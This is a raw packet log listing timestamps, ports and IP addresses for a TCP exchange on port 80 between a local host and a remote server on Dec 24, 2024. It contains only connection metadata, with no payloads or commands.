Dec 24, 2024 14:02:35.231846094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.231897116 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.232120037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.232165098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.232959986 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.233001947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.233155012 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.233208895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.233874083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.233913898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.234049082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.234097004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.234821081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.234863043 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.235097885 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.235143900 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.235843897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.235892057 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.235991001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.236037970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.236890078 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.236943007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.237018108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.237054110 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.237760067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.237818956 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.237890959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.237938881 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.238791943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.238838911 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.238974094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.239016056 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.239892006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.239939928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.240216017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.240267992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.240703106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.240753889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.240894079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.240941048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.241710901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.241765022 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.241843939 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.241880894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.242716074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.242777109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.243125916 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.243170023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.243736982 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.243788958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.244014025 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.244054079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.244671106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.244720936 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.244805098 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.244848967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.245728970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.245778084 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.245841980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.245884895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.246324062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.246376991 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.246551037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.246599913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.247289896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.247349024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.247428894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.247478008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.248265028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.248312950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.248907089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.248951912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.249250889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.249299049 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.249381065 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.249428034 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.250308037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.250319004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.250360966 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.253621101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.253633976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.253644943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.253660917 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.253674030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.253710032 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.254038095 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.254090071 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.254826069 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.254869938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.255126953 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.255140066 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.255184889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.255206108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.255986929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.256033897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.256165981 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.256211042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.256992102 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.257041931 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.257194996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.257241011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.257555962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.257605076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.258047104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.258091927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.258305073 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.258356094 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.258498907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.258543968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.259104013 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.259157896 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.259190083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.259238005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.260010004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.260057926 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.260294914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.260339022 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.261040926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.261085033 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.261254072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.261307001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.262073994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.262121916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.262125015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.262161970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.262953043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.263003111 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.263108969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.263156891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.264075041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.264122963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.264127016 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.264168024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.264944077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.264987946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.265017033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.265064001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.265928984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.265978098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.266026020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.266072989 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.267092943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.267146111 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.267188072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.267232895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.267952919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.268001080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.268127918 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.268176079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.268851042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.268896103 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.268986940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.269028902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.269891024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.269938946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.269998074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.270037889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.410826921 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.410844088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.410883904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.410911083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.411166906 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.411216021 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.411235094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.411281109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.412110090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.412163019 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.412178040 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.412203074 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.412818909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.412868977 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.412906885 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.412951946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.413779020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.413830996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.413942099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.413985968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.414798975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.414853096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.414892912 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.414935112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.415781975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.415833950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.415941954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.415994883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.416711092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.416764975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.417005062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.417052031 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.417771101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.417821884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.417876959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.417917967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.418780088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.418823004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.418842077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.418879986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.419651031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.419703007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.420080900 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.420125008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.420653105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.420696974 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.420734882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.420778036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.421681881 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.421727896 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.421741962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.421782970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.422620058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.422657967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.422725916 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.422768116 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.423568010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.423635960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.423693895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.423731089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.424573898 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.424623966 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.424756050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.424807072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.425565004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.425611019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.425843954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.425892115 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.426578045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.426623106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.426667929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.426718950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.427484989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.427535057 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.427651882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.427700996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.428523064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.428574085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.428704977 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.428750038 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.429492950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.429544926 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.429711103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.429759026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.430448055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.430491924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.430829048 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.430876970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.431416035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.431461096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.431657076 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.431701899 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.432451963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.432512999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.432622910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.432671070 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.433494091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.433542967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.434269905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.434317112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.434386015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.434432983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.434654951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.434699059 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.435478926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.435527086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.435534000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.435568094 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.436358929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.436408997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.436433077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.436475992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.437411070 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.437455893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.437464952 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.437503099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.438247919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.438293934 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.438441992 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.438497066 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.439304113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.439344883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.439424038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.439464092 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.440274000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.440320015 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.440462112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.440510035 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.441303015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.441364050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.441771030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.441818953 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.442220926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.442266941 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.442415953 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.442473888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.443239927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.443293095 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.443553925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.443602085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.444169044 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.444211006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.444457054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.444508076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.445122957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.445159912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.445593119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.445643902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.446114063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.446162939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.446480989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.446523905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.447098017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.447148085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.447370052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.447413921 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.448101997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.448149920 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.448206902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.448252916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.449049950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.449098110 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.449475050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.449522972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.450077057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.450125933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.450216055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.450257063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.451040983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.451087952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.451158047 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.451205015 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.451951027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.451994896 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.452279091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.452325106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.452934980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.452985048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.453442097 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.453490019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.453950882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.453970909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.453994036 CET	49787	80	192.168.2.6	185.231.69.191
